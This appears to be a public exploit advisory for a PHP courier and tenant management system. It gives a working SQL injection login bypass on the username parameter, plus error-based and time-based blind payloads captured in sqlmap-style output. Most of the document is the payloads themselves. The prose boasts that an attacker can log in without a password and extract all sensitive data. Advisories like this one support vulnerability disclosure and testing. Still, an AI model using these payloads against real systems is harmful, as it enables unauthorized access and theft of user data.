# Titles: TENANT LIMITED-1.0-Multiple-SQLi + SQLi Bypass Authentication # Author: nu11secur1ty # Date: 03/12/2025 # Vendor: https://www.mayurik.com/ # Software: https://www.sourcecodester.com/php/17375/best-courier-management-system-project-php.html # Reference: https://portswigger.net/web-security/sql-injection ## Description: The `username` parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the username parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. The attacker can get all sensitive information from this system when he attacks it online, He can login super easily WITHOUT PASSWORD - ONLY USER - bypassing, and can crash or get every sensitive information from him! STATUS: HIGH-CRITICAL Vulnerability [+]Exploit: - SQLi-Bypass login authentication: ```SQLi nu11secur1ty' or 1=1# ``` ```SQLi --- Parameter: username (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=skeQesqJ' AND (SELECT 6505 FROM(SELECT COUNT(*),CONCAT(0x717a766a71,(SELECT (ELT(6505=6505,1))),0x717a707871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# SGkk&password=n8X!v6m!R5 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=skeQesqJ' AND (SELECT 7077 FROM (SELECT(SLEEP(7)))nkwA)# UIap&password=n8X!v6m!R5 --- ``` # Reproduce: [href](https://www.patreon.com/posts/tenant-limited-1-124192832) ## Time spent: 00:15:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>